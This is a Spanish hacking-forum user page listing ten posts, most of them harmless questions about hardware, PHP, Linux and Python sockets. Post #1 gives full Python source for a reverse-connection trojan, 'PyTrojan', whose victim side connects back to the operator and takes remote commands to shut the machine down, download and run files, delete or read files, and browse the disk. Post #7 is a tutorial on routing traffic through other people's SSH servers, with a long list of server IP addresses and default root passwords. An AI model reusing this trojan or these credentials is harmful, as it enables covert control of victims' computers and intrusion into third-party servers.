Menú

Mostrar Mensajes

Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.

Mostrar Mensajes Menú

Temas - 177600531

#1
Scripting / [Python] Troyano
22 Agosto 2013, 02:55 AM
Hace algún tiempo empecé a estudiar Python más que nada por aburrimiento y lo primero que empecé a escribir era este Troyano de conexión inversa que lo acabo de encontrar en un disco duro externo abandonado. No lo he acabado nunca y tampoco creo que lo acabe por falta de tiempo y ganas pero dejo el código por si a alguien le sirve en un futuro o tiene ganas de acabarlo.

Cliente:
Código (python) [Seleccionar]
# -*- coding: utf-8 -*-

##########################################
##                                      ##
##      PyTrojan                 ##
##      By Proxy                   ##
## Fecha Inicio: 28/04/13        ##
## Fecha Fin: ../../..            ##
## Client                        ##
##                                      ##
##########################################

import socket
import os
import time

#Limpiamos Pantalla
def cls():
os.system(['clear','cls'][os.name == 'nt'])

#Imprimimos Cabecera
def Cabecera():
    print '              ****************************************************'
    print '              ****                                            ****'
    print '              ****      PyTrojan v1.0 Beta                    ****'
    print '              ****                                            ****'
    print '              ****************************************************'

#Imprimimos Opciones
def Opcionestop():
print '              ****************************************************'
print '              ****      Opciones                              ****'
print '              ****************************************************'
print '              ****                                            ****'
print '              ****      1) Apagar Equipo                      ****'
print '              ****      ________________________              ****'
print '              ****      2) Reiniciar Equipo                   ****'
print '              ****      ________________________              ****'
print '              ****      3) Downloader                         ****'
print '              ****      ________________________              ****'
print '              ****      4) Localizador IP                     ****'
print '              ****      ________________________              ****'
print '              ****      5) Limpiar Pantalla                   ****'
print '              ****      ________________________              ****'
print '              ****      6) Consola                            ****'
print '              ****      ________________________              ****'
print '              ****      7) Desconectar                        ****'
print '              ****      ________________________              ****'
print '              ****      8) Desconectar                        ****'
print '              ****      ________________________              ****'
print '              ****      9) Apagar Servidor                    ****'
print '              ****      ________________________              ****'
print '              ****      10) Salir                             ****'
print '              ****      ________________________              ****'
print '              ****                                            ****'
print '              ****************************************************'

#Consola de Comandos
def Consola(s, sc):
time.sleep(1)
def Menuopc():
print '\nHELP:            Muestra la lista de comandos de la consola'
print 'DEL:             Elimina el archivo marcado'
print 'XDEL:            Elimina la carpeta marcada'
print 'COPY:            Copia un archivo a otra directorio'
print 'READ:            Abre el archivo en la consola'
print 'OPEN:            Ejecuta un archivo'
print 'WANT:            Busca en todos los archivo con extension a elegir'
print 'DIR:             Muestra el directorio actual'
print 'CD:              Cambia de directorio al directorio seleccionado'
print 'EXIT:            Salir de la consola de comandos\n'
Menuopc()
while True:
opconsola = raw_input('>>> ')
if opconsola == 'help':
Menuopc()
elif opconsola.startswith('del') == True:
time.sleep(1)
ruta1 = opconsola[:3]
ruta2 = opconsola[4:]
while ruta1 and ruta2:
sc.send(ruta1)
sc.send(ruta2)
recibido = sc.recv(1024)
print '\n' + recibido + '\n'
break
elif opconsola.startswith('xdel') == True:
time.sleep(1)
ruta1 = opconsola[:4]
ruta2 = opconsola[5:]
while ruta1 and ruta2:
sc.send(ruta1)
sc.send(ruta2)
recibido = sc.recv(1024)
print '\n' + recibido + '\n'
break
elif opconsola == 'copy':
time.sleep(1)
ruta1 = opconsola
ruta2 = raw_input('Introduce la ruta del archivo a copiar >>> ')
ruta3 = raw_input('Introduce la ruta donde se copiara el archivo >>> ')
sc.send(ruta1)
sc.send(ruta2)
sc.send(ruta3)
recibido = sc.recv(1024)
print '\n' + recibido + '\n'
elif opconsola.startswith('read') == True:
time.sleep(1)
ruta1 = opconsola[:4]
ruta2 = opconsola[5:]
while ruta1 and ruta2:
sc.send(ruta1)
sc.send(ruta2)
recibido = sc.recv(100000000)
print '\n' + recibido + '\n'
break
elif opconsola.startswith('open') == True:
time.sleep(1)
ruta1 = opconsola[:4]
ruta2 = opconsola[5:]
while ruta1 and ruta2:
sc.send(ruta1)
sc.send(ruta2)
recibido = sc.recv(1024)
print '\n' + recibido + '\n'
break
elif opconsola.startswith('want') == True:
time.sleep(1)
ruta1 = opconsola[:4]
ruta2 = opconsola[5:]
while ruta1 and ruta2:
sc.send(ruta1)
sc.send(ruta2)
recibido = sc.recv(100000000)
print '\n' + recibido + '\n'
break
elif opconsola == 'dir':
time.sleep(1)
sc.send(opconsola)
recibido = sc.recv(100000000)
print '\n' + recibido + '\n'
elif opconsola.startswith('cd') == True:
time.sleep(1)
ruta1 = opconsola[:2]
ruta2 = opconsola[3:]
while ruta1 and ruta2:
sc.send(ruta1)
sc.send(ruta2)
recibido = sc.recv(1024)
print '\n' + recibido + '\n'
break
elif opconsola == 'exit':
time.sleep(1)
sc.send(opconsola)
print '\nHas salido de la consola...\n'
break

#Opciones despues de conectar
def Opciones(s, sc, addr):
cls()
orden = ''
while orden != '10':
Opcionestop()
while True:
orden = raw_input('>>> ')
if orden == '1': #Apaga Equipo
try:
sc.send('apagar')
print sc.recv(1024)
except:
print 'El servidor esta desconectado...'
elif orden == '2': #Reinicia Equipo
try:
sc.send('reiniciar')
print sc.recv(1024)
except:
print 'El servidor esta desconectado...'
elif orden == '3': #Downloader
try:
direccion = raw_input('Introduce la direccion >>> ')
time.sleep(1)
nomarch = raw_input('Introduce el nombre del archivo con extension >>> ')
time.sleep(1)
sc.send('downloader')
time.sleep(1)
sc.send(direccion)
sc.send(nomarch)
time.sleep(1)
vari = sc.recv(1024)
print vari
except:
print 'El servidor esta desconectado...'
else:
try:
while vari == 'Archivo descargado con exito...':
ejecutar = ''
while ejecutar != 'si' and ejecutar != 'no':
ejecutar = raw_input('Desea ejecutar el archivo? (si o no) >>> ')
if ejecutar == 'si':
sc.send('si')
print sc.recv(1024)
elif ejecutar == 'no':
sc.send('no')
else:
print 'Introduce si o no...'
else:
break
else:
pass
except:
print 'Ha ocurrido un error...'
elif orden == '4': #Localiza IP
try:
sc.send('localizadorip')
iploc = addr[0]
sc.send(iploc)
print sc.recv(1024)
except:
print 'El servidor esta desconectado...'
elif orden == '5': #Limpia la Pantalla
time.sleep(1)
cls()
Opcionestop()
elif orden == '6':
try:
sc.send('consola')
Consola(s, sc)
except:
print 'El servidor esta desconectado...'
elif orden == '7':
print 'hello'
elif orden == '8':
print 'hello'
elif orden == '9': #Apaga Servidor
try:
sc.send('desconectar')
print sc.recv(1024)
except:
print 'El servidor esta desconectado...'
elif orden == '10':
print 'Te has desconectado...'
break
else:
print '%s No se reconoce como un comando' % orden


#Menu
def Menu():
    opcion = ''
    while opcion != '1' and opcion != '2':
    cls()
    Cabecera()
    print '              ****************************************************'
    print '              ****                                            ****'
    print '              ****      1) Esperar Conexiones                 ****'
    print '              ****      2) Salir                              ****'
    print '              ****                                            ****'
    print '              ****************************************************\n'
    opcion = raw_input('>>> ')
    if opcion == '1':
    cls()
    print '              ****************************************************'
    print '              ****                                            ****'
    print '              ****      Esperando Conexiones...               ****'
    print '              ****                                            ****'
    print '              ****************************************************'
    host = ''
    port = 9999
    try:
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
            s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
            s.bind((host, port))
            s.listen(3)
            sc, addr = s.accept()
    except:
    cls()
    print '              ****************************************************'
    print '              ****                                            ****'
    print '              ****      Ocurrio un problema...                ****'
    print '              ****                                            ****'
    print '              ****************************************************'
    raw_input()
    else:
    cls()
    print '              ****************************************************'
    print '              ****                                            ****'
    print '              ****      Victima                               ****'
    print '              ****                                            ****'
    print '              ****************************************************\n'
    print 'Se ha establecido la conexion con...', addr[0]
    raw_input()
    Opciones(s, sc, addr)
    elif opcion == '2':
    cls()
    print '              ****************************************************'
    print '              ****                                            ****'
    print '              ****      Gracias por usar PyTrojan             ****'
    print '              ****                                            ****'
    print '              ****************************************************'
    raw_input()

cls()
Menu()


Servidor:
Código (python) [Seleccionar]
##########################################
##                                      ##
##      PyTrojan                 ##
##      By Proxy                   ##
## Fecha Inicio: 28/04/13        ##
## Fecha Fin: ../../..            ##
## Server                        ##
##                                      ##
##########################################

import socket
import time
import os
import urllib
import shutil
import glob

#Consola de Comandos
def Consola(s):
while True:
opconsola = s.recv(1024)
if opconsola == 'del':
ruta = s.recv(1024)
try:
os.remove(ruta)
s.send('El archivo ha sido eliminado con exito...')
except:
s.send('El archivo no ha podido ser eliminado...')
elif opconsola == 'xdel':
ruta = s.recv(1024)
try:
shutil.rmtree(ruta)
s.send('La carpeta ha sido eliminada...')
except:
s.send('La carpeta no ha podido ser eliminada...')
elif opconsola == 'copy':
ruta1 = s.recv(1024)
ruta2 = s.recv(1024)
try:
shutil.copy(ruta1, ruta2)
s.send('El archivo ha sido copiado...')
except:
s.send('El archivo no ha sido copiado...')
elif opconsola == 'read':
ruta = s.recv(1024)
try:
arch = open(ruta, 'r')
line = arch.readline()
while line != '':
s.send(line)
line = arch.readline()
except:
s.send('El archivo no ha podido ser abierto...')
elif opconsola == 'open':
ruta = s.recv(1024)
try:
os.startfile(ruta)
s.send('Archivo ejecutado con exito...')
except:
s.send('El archivo no ha podido ser ejecutado...')
elif opconsola == 'want':
ruta = s.recv(1024)
try:
lista = glob.glob('*' + ruta)
joinlistar = '\n'.join(lista)
s.send(joinlistar)
except:
s.send('Ha ocurrido un error...')
else:
s.send('\n.')
elif opconsola == 'dir':
try:
listardirectorio = os.listdir('.')
joinlistardire = '\n'.join(listardirectorio)
s.send(joinlistardire)
except:
s.send('Ha ocurrido un error...')
elif opconsola == 'cd':
ruta = s.recv(1024)
try:
os.chdir(ruta)
s.send(os.getcwd())
except:
s.send('No se puede encontrar la ruta especificada...')
elif opconsola == 'exit':
break

#Conexion con el cliente
def conexion():
host = 'localhost'
port = 9999
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
while True:
recibido = s.recv(1024)
if recibido == 'apagar': #Apaga Equipo
time.sleep(1)
s.send('El equipo se esta apagando...')
os.system('shutdown -s -f -t 0')
elif recibido == 'reiniciar': #Reinicia Equipo
time.sleep(1)
s.send('El equipo se esta reiniciando...')
os.system('shutdown -r -f -t 0')
elif recibido == 'downloader': #Downloader
time.sleep(1)
try:
direccion = s.recv(1024)
nomarch = s.recv(1024)
urllib.urlretrieve(direccion, nomarch, reporthook=None)
except:
s.send('Ha ocurrido un error...')
else:
s.send('Archivo descargado con exito...')
try:
ejecutar = s.recv(1024)
if ejecutar == 'si':
os.startfile(nomarch)
elif ejecutar == 'no':
continue
except:
s.send('Ha ocurrido un error al intentar ejecutar el archivo...')
else:
s.send('Archivo ejecutado con exito...')
elif recibido == 'localizadorip': #Localiza IP
try:
time.sleep(1)
iploc = s.recv(1024)
ipaddr = 'http://api.hostip.info/get_html.php?ip=%s&position=true' % iploc
response = urllib.urlopen(ipaddr).read()
except:
s.send('Ha ocurrido un error...')
else:
s.send(response)
elif recibido == 'consola': #Consola de Comandos
time.sleep(1)
Consola(s)
elif recibido == 'desconectar': #Apaga Servidor
time.sleep(1)
s.send('Servidor apagado correctamente...')
s.close()
break
else:
conexion()

#Reintentamos conexion si el cliente se ha desconectado
while True:
time.sleep(3)
try:
conexion()
except:
pass
else:
break
#2
Hardware / Problemas con la tarjeta grafica
2 Junio 2013, 14:31 PM
Bueno pues comentaros que tengo algunas dudas respecto a mi tarjeta grafica, tengo 2 tarjetas graficas una integrada que es una Intel HD Graphics 4000 y otra Nvidia GeForce GTX 660M, el problema es que al jugar Tera Online los gráficos están al mínimo porque si los subo lo mas mínimo empieza a laguearse cosa que no es posible teniendo en cuenta la tarjeta grafica que tengo pero aun así pasa, entonces busque en google y leí por ahí que en el panel de control de Nvidia en controlar la configuración 3D buscar mi juego y seleccionar el procesador de alto rendimiento Nvidia y realmente funciona de jugar con los gráficos mínimos jugué con los gráficos al máximo sin ningún problema.

Mi pregunta es porque no utiliza directamente mi ordenador la tarjeta grafica de Nvidia en los juegos y utiliza la integrada?

Siempre tengo que repetir los pasos de seleccionar el juego del panel de control de nvidia para jugar con la otra tarjeta grafica?

No debería utilizar las 2 tarjetas graficas y repartirse el rendimiento cada una?

Gracias con antelación.
#3
Tengo un problema con los sockets en Python, lo que intento hacer es que el servidor intente reanudar la conexión una y otra vez mediante un socket hasta que encuentre un cliente conectado.

Código (python) [Seleccionar]

host = 'localhost'
port = 8900
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
try:
s.connect((host, port))
except:
print 'Error'
else:
       #


Se conecta y funciona todo perfectamente pero como puedo hacer que en caso de que no encuentre al cliente no pase al except si no que intente cada 30 segundos volver a conectarse?

Lo he intentado con bucles while pero no he podido resolver el problema, agradecería que alguien me de alguna solución.

Saludos.
#4
Hardware / Opiniones respecto a nuevo portatil
13 Abril 2013, 01:10 AM
Pues me gustaría recibir algunas opiniones respecto a este portátil porque no estoy muy familiarizado con el hardware, principalmente me gustaría utilizarlo tanto para trabajar como jugar con él, por cierto que mi actual portátil lo apago una vez al mes o menos ósea que tendría que estar funcionando constantemente puede haber algún problema con respecto a no apagarlo casi nunca?

Me han dicho que lenovo no es una buena empresa que siempre tienen problemas de compatibilidad con los drivers y se calientan mucho.

Espero vuestras opiniones y gracias por adelantado.

Link: http://www.lenovo.com/products/us/laptop/ideapad/y-series/y500/
#5
PHP / Ordenar archivos de un directorio por fecha
11 Febrero 2013, 22:23 PM
Bueno pues como dice el titulo del post lo que intento hacer es ordenar los archivos de un directorio por fecha pero no me sale lo he intentado con la función filemtime pero sin resultados, llevo ya medio día intentando por todos los medios ordenarlos y no lo consigo también he buscado en google unas cuantas horas. Agradeceria mucho que alguien que sepa más php que yo me ayudara con este problema que tengo, ósea mostrar los archivos de un directorio pero ordenarlos por fecha, el ultimo archivo subido que sea el primero y etc...

Gracias con antelación.

Esto es lo que tengo de momento.

Código (php) [Seleccionar]
<?php 
if (
$gestor opendir('files')) {
echo "<ul>";
    while (false !== ($arch readdir($gestor))) {
   if ($arch != "." && $arch != "..") {
   echo "<li><a href=\"files/".$arch."\" class=\"linkli\">".$arch."</a></li>\n";
   }
    }
    closedir($gestor);
echo "</ul>";
}
?>
#6
GNU/Linux / Me he decidido por Linux Mint
17 Septiembre 2012, 23:47 PM
Bueno hasta ahora siempre he utilizado Windows o bueno casi siempre, Linux solo en versiones live porque no me he decidido meterme de lleno aun en el lo que se mas bien de Linux son cosas básicas nada del otro mundo, la cuestión es que ya me he decidido por fin instalarme Linux Mint, nose si será la mejor opción o no pero será cosa de probar como todo en la vida, así que mis dudas son si debería desinstalar para siempre Windows de mi vida y meterme de cabeza a Linux o dejar Windows por si acaso?

También me gustaría preguntar si sería mejor instalarme la versión de 64 bit o la de 32 ya que tengo un procesador Intel Core 2 Duo P8700 de 2,53GHz y 4GB de Ram. Agradeceria algunos consejillos para un principiante para no perderme por el camino ya que soy poco paciente con las cosas.

Gracias y saludos.

EDIT: Se me ha olvidado preguntar si me debería decidir por Mate o Cinnamon?
#7
Hacking / Tutorial Nologin
29 Septiembre 2011, 17:01 PM
Tutorial Nologin

Que es un Nologin?

Es aquel root que no te deja loguearte, cuando intentas conectarte te saca fuera con otras palabras! Por ejemplo una cuenta de email el usuario tiene derecho a leer los emails pero no borrar o modificar la información, esto se puede llamar nologin.

Bueno pues necesitamos una tool para loguearnos y un nologin claro está.

Nologin: dovecot:dovecot:79.142.64.220

User: Pass: IP

Necesitaremos la tool: Bitvise Tunnelier (SSH Client)


La tool necesita que la instaléis eso creo que sois capaz de hacerlo solos, vamos a hacerle una pequeña configuración para nuestro nologin.

Nos vamos a Services --> SOKS / HTTP Proxy Forwarding y hacemos click en la casilla Enabled también completamos el puerto a 1080:



Luego volvemos a Login:

En Host ponemos la ip del Nologin:

79.142.64.220

En Username ponemos el nombre de usuario:

dovecot

En Initial Method desplegamos la lista y seleccionamos Password donde pondremos la contraseña:

dovecot

Ahora que ya lo tenemos todo hacemos click en Login y aparecerá una nueva ventana donde nos pedirá que aceptemos:



Ya hemos acabado con Bitvise ahora solo falta configurarlo en el navegador.

Vamos a configurarlo en Mozilla:

Herramientas --> Avanzado --> Red --> Configuración... --> Seleccionamos Configuración manual del Proxy --> y en Servidor SOCKS: escribimos localhost y en puerto ponemos la puerta configurada en Bitviser ósea la 1080 --> ahora solo click en Aceptar.





Y ahora vamos a ver nuestra ip en el navegador Mozilla:

www.whatismyip.com



Si queréis utilizar un root en vez de un nologin es exactamente la misma configuración pero antes de salir del root no olvidéis borrar el historial.

Para utilizar el nologin en absolutamente todas vuestras conexiones utilizar Tunnelier & Proxifier, añadir en Proxy Servers lo siguiente:



Abrir los programas en el siguiente orden: Tunnelier y (logueais) y luego abrir el Proxifier.

A partir de aquí ya estaréis totalmente detrás del nologin y absolutamente cualquier conexión que iniciéis tanto el Hotmail, Yahoo, bla bla bla, pasara por el nologin.

Aquí os dejo una pequeña lista de nologins:

root root 213.5.66.182 | no host
root root 213.5.67.217 | no host
root root 213.5.68.84 | no host
root root 213.5.71.204 | no host
root root 213.5.64.163 | no host
root root 213.5.71.196 | no host
root root 213.5.68.194 | no host
root root 213.5.69.25 | no host
root root 213.5.71.206 | no host
root root 213.5.64.160 | no host
root root123 213.5.67.217 | no host
root root123 213.5.66.182 | no host
root root123 213.5.68.84 | no host
root root123 213.5.71.204 | no host
root root123 213.5.71.196 | no host
root root123 213.5.64.163 | no host
root root123 213.5.64.160 | no host
root root123 213.5.68.194 | no host
root root123 213.5.71.206 | no host
root root123 213.5.69.25 | no host
root root123456 213.5.67.217 | no host
root root123456 213.5.66.182 | no host
root root123456 213.5.71.204 | no host
root root123456 213.5.68.84 | no host
root root123456 213.5.71.196 | no host
root root123456 213.5.64.160 | no host
root root123456 213.5.64.163 | no host
root root123456 213.5.68.194 | no host
root root123456 213.5.71.206 | no host
root root123456 213.5.69.25 | no host
root admin 213.5.68.84 | no host
root admin 213.5.67.217 | no host
root admin 213.5.71.204 | no host
root admin 213.5.66.182 | no host
root admin 213.5.64.160 | no host
root admin 213.5.71.196 | no host
root admin 213.5.68.194 | no host
root admin 213.5.64.163 | no host
root admin 213.5.71.206 | no host
root admin 213.5.69.25 | no host
root admin1 213.5.71.204 | no host
root admin1 213.5.68.84 | no host
root admin1 213.5.67.217 | no host
root admin1 213.5.64.160 | no host
root admin1 213.5.71.196 | no host
root admin1 213.5.66.182 | no host
root admin1 213.5.68.194 | no host
root admin1 213.5.64.163 | no host
root admin1 213.5.71.206 | no host
root admin1 213.5.69.25 | no host
root administrator 213.5.71.204 | no host
root administrator 213.5.68.84 | no host
root administrator 213.5.67.217 | no host
root administrator 213.5.64.160 | no host
root administrator 213.5.66.182 | no host
root administrator 213.5.64.163 | no host
root administrator 213.5.71.206 | no host
root administrator 213.5.69.25 | no host
root admin123 213.5.71.204 | no host
root admin123 213.5.68.84 | no host
root admin123 213.5.67.217 | no host
root admin123 213.5.64.160 | no host
root 123456 213.5.68.84 | no host
root root 213.154.231.164 | no host
root root 213.195.74.40 | no host
root root 213.195.74.39 | no host
root root 213.195.74.43 | no host
root root123 213.195.74.40 | no host
root root 213.203.245.7 | no host
root root123 213.195.74.43 | no host
root root123456 213.195.74.40 | no host
root root 213.208.129.165 | no host
root root123456 213.195.74.43 | no host
root root 213.209.114.96 | no host
root admin 213.195.74.40 | no host
root root 213.208.129.164 | no host
root root123 213.203.245.7 | no host
root root123 213.208.129.165 | no host
root root123 213.209.114.96 | no host
root admin 213.195.74.43 | no host
root admin1 213.195.74.40 | no host
root root123456 213.203.245.7 | no host
root root123456 213.209.114.96 | no host
root root123 213.208.129.164 | no host
root root123456 213.208.129.165 | no host
root administrator 213.195.74.40 | no host
root admin1 213.195.74.43 | no host
root admin 213.203.245.7 | no host
root admin 213.209.114.96 | no host
root admin 213.208.129.165 | no host
root admin123 213.195.74.40 | no host
root root123456 213.208.129.164 | no host
root administrator 213.195.74.43 | no host
root admin1 213.209.114.96 | no host
root admin1 213.203.245.7 | no host
root admin1 213.208.129.165 | no host
root 123456 213.195.74.40 | no host
root admin123 213.195.74.43 | no host
root administrator 213.209.114.96 | no host
root admin 213.208.129.164 | no host
root administrator 213.208.129.165 | no host
root administrator 213.203.245.7 | no host
root password 213.195.74.40 | no host
root admin123 213.209.114.96 | no host
root 123456 213.195.74.43 | no host
root admin1 213.208.129.164 | no host
root admin123 213.208.129.165 | no host
root passw0rd 213.195.74.40 | no host
root admin123 213.203.245.7 | no host
root 123456 213.208.129.165 | no host
#8
WarZone / Problemas al registrarme
16 Agosto 2011, 20:31 PM
Llevo intentando desde por la mañana registrarme en el warzone.elhacker.net y no funciona siempre me da el típico error "Verificación de imagen inválida (Intenta de nuevo ;))" he visto que hay otro usuario que tuvo el mismo problema que yo pero no le resolvieron las dudas, he cambiado el usuario, email, fecha, he intentado registrarme con otra IP hasta desde otro ordenador y siempre me da el mismo error, también le he pedido a otra persona que escribiera las letras del captcha y también he utilizado otro navegador, Firefox, Opera, Internet Explorer y nada sigue igual. Espero que alguien pueda resolver mi problema porque no creo que esto sea normal. Gracias con antelación.
#9
Hacking / Quieres ser un verdadero Hacker?
22 Abril 2011, 21:25 PM
Surfeando por el foro, he visto una masa de niños que intentan aprender el hacking, o porque no, cosas elementales de informática. Muchos empiezan a partir de una edad más frágil, otros a partir de una edad más avanzada, pero todos queremos la misma cosa, poder decir: "I knew it !".

Para poder seguir a la tecnología, y para poder decir que eres un informático, hecho y derecho y que sabes algo, tienes que empezar por el principio, esta es la llave. Si eliges de todos partes un poco, y te haces una locura total en el celebro y no entiendes nada, porque todo lo que depositas se basa en falsos entendidos, sin tener antes los conocimientos necesarios para entenderlo, todo es una pérdida de tiempo. Por eso en Rumania, por ejemplo, aparecen cada día más y más administradores de redes, incompetentes, páginas web vulnerables, servidores seguros por partes, y la lista continua, pero no tengo sitio para todo lo que quiero recordar.

Los Hackers aparecen con el deseo de "burlarse" de estos inmaduros en el dominio de la informática, cuales no son capaces de securizar sus sistemas, porque no han empezado bien.

En primer lugar, no puede cualquier persona entrar en este dominio, depende si tienes instinto, don, aquí también existe un don aunque os riais, y mucha, muchas ganas y nervios de acero. ( Sabéis todos, cuantas noches perdidas, horas delante de C para hacer que un programa funcione, horas delante de un tutorial en ingles para entender lo que hay allí, noches y mucho tiempo de vuestra vida, cual pensáis que lo habéis perdido, pero no es así, todo va a salir más adelante, no muy tarde súper útil. )

No tienes que ser olímpico en informática, no tienes que tener solo la nota 10 para empezar, solo fuerza de voluntad y ser una persona seria lo que se pueda. Si practicas la informática en el colegio, intenta entender los lenguajes de programación que te presentan, como por ejemplo Pascal, al principio te parecerá complicado, pero pierde un poco de tiempo con él, léete cada párrafo del manual, y resuelve 10 veces cada problema hasta los más simples, y te quedas delante de un problema, hasta por la mañana si no te sale, y alégrate si tu lo has resuelto, y lo has entendido.

Coge un manual, cómpratelo, o búscalo FREE por internet, google es tu amigo, cuando no sabes algo, solo busca, y este amigo llamado Google te contestara, lo mejor que sabe.

Busca tutoriales, pide ayuda si al empezar no eres capaz, aprende en primer lugar por lo que está formado un ordenador, me refiero a la parte Hardware, aprende como se utiliza un poco, aprende a trabajar sobre una plataforma, por lo menos en Windows. Juega con él, ya verás que no es tan simple como lo parece, aunque el también tiene muchas cosas, por sus muchos bugs por ejemplo. Juega con él, aprende a estropearlo, esta también es una técnica, luego aprende a repararlo, no tengas miedo de estropearlo, no tengas miedo de errores y famosas pantallas de la muerte, porque algún día puede que consigas resolver estos errores.

Aprende a securizar tu PC, no solo atacar, en un momento dado puedes llegar tú a ser una potencial víctima. Aprende de la experiencia propia, es el mejor AV, con el cual eres compatible, no dejes que los virus, te hagan la vida una amargura, controla tu firewall ( FW ), aprende como funciona, y empieza a entrar en este mundo al ciberespacio, donde puedes ser la víctima o el cazador, en tiempo de ms ( milisegundos ).

No te va a beneficiar un súper ordenador, tendrás tiempo de comprarte uno con tu propio trabajo más tarde, mejor uno que lo utilices como conejillo de indias. Cómprate por lo menos un PC más, da igual lo malo que sea, conéctalos a la misma red, insulta, blasfema, lee tutoriales, pregunta, los dos ordenadores intercambian datos.

No tengas miedo de utilizar la consola, aunque no sea muy amigable, de momento, será tu mejor amigo, gracias a la velocidad y las opciones existentes. No tengas miedo de utilizar el ping, juega intenta, insulta, blasfema, consíguelo.

No cojas del viento información, aparentando que sabes, porque una vez la base mal construida, arriba continuaras difícilmente. Aprende, lee, experimenta, luego pregunta, pide ayuda con lo que no entiendas, o pierde las noches, nervios, si tienes cojones, para entender solo.

Empieza con el principio no tengas vergüenza. No tengas miedo de volver a leer lo que no entiendes, no pierdes el tiempo, aunque parezca que si, solo estas construyendo una base estable. Repite 100 veces, practica, 1000 veces más, todo lo que importa es entender, no tengas vergüenza, adora, hacer el tonto, para construir una base mega buena.

Juega, escribe las hojas, lo que no entiendes, experimenta, y practica. No tengas vergüenza de practicar, nadie ha nacido sabiendo. No te desanimes, nunca, eso es solo una vulnerabilidad, en tu sistema nervioso. La edad no importa, solo importa que te hayas decidido y tienes voluntad.

Juega con Pascal, pasa a C, luego con los tutoriales, con la ayuda de los amigos, y de los foros, y a otras muchas páginas, aprende lenguajes más complejos, luego de que estés seguro de que has entendido la base.

Aprende también algo de Linux, Unix, no tengas vergüenza, a ser un " n00b ", experimenta, pregunta, de la misma forma llegaron a ser otros expertos, grandes administradores de redes. Juega años, días, horas, solo asegúrate que lo has entendido. Estas cansado y ya no tienes ganas, y los amigos te están esperando, ve con ellos, vuelve cuando tu lo sientas, una hora con ganas de estudiar, es más grande, que una semana sin ganas. Aprende como funciona, asegúrate que tu lo entiendes, no te metas en nociones más complejas, solo porque otros saben, aprende tu parte, ellos han hecho lo mismo, diviértete no dejes que el ordenador te acapare tu pequeña vida.

Aprende las nociones básicas, luego pásate a las más complejas, inténtalo solo, pierde el tiempo no te desanimes, porque otro sabe más que tu, el tampoco ha nacido sabiendo.

Elige un camino en la vida no aprendas todo y nada, aprende todo y algo.

Esta es la opción que podéis tomar cada uno de vosotros.

Un consejo: No intentes aprender cosas complejas, solo porque otros " parece " que lo saben, construye una base, tu también llegaras, siempre y cuando sigas adelante.

No la edad, el tiempo, o la inteligencia, solo la voluntad, el instinto y la pasión te hacen un verdadero maestro.

Y ahora me largo a jugar Call of Duty, que ya me duelen los dedos de escribir tanto.  :xD

See you when i see you.
#10
PHP / Restringir envió de email por usuario
17 Diciembre 2010, 04:30 AM
Bueno llevo comiéndome el coco durante todo el día pensando y buscando como limitar el envió de emails en mi pagina web por usuario. Ejemplo:


Usuario:  Pepe – 30 Emails al día.

Usuario:  Pepito – 100 Emails al día.


Agradecería que me echarais una mano ya no se qué hacer.
Gracias de antemano.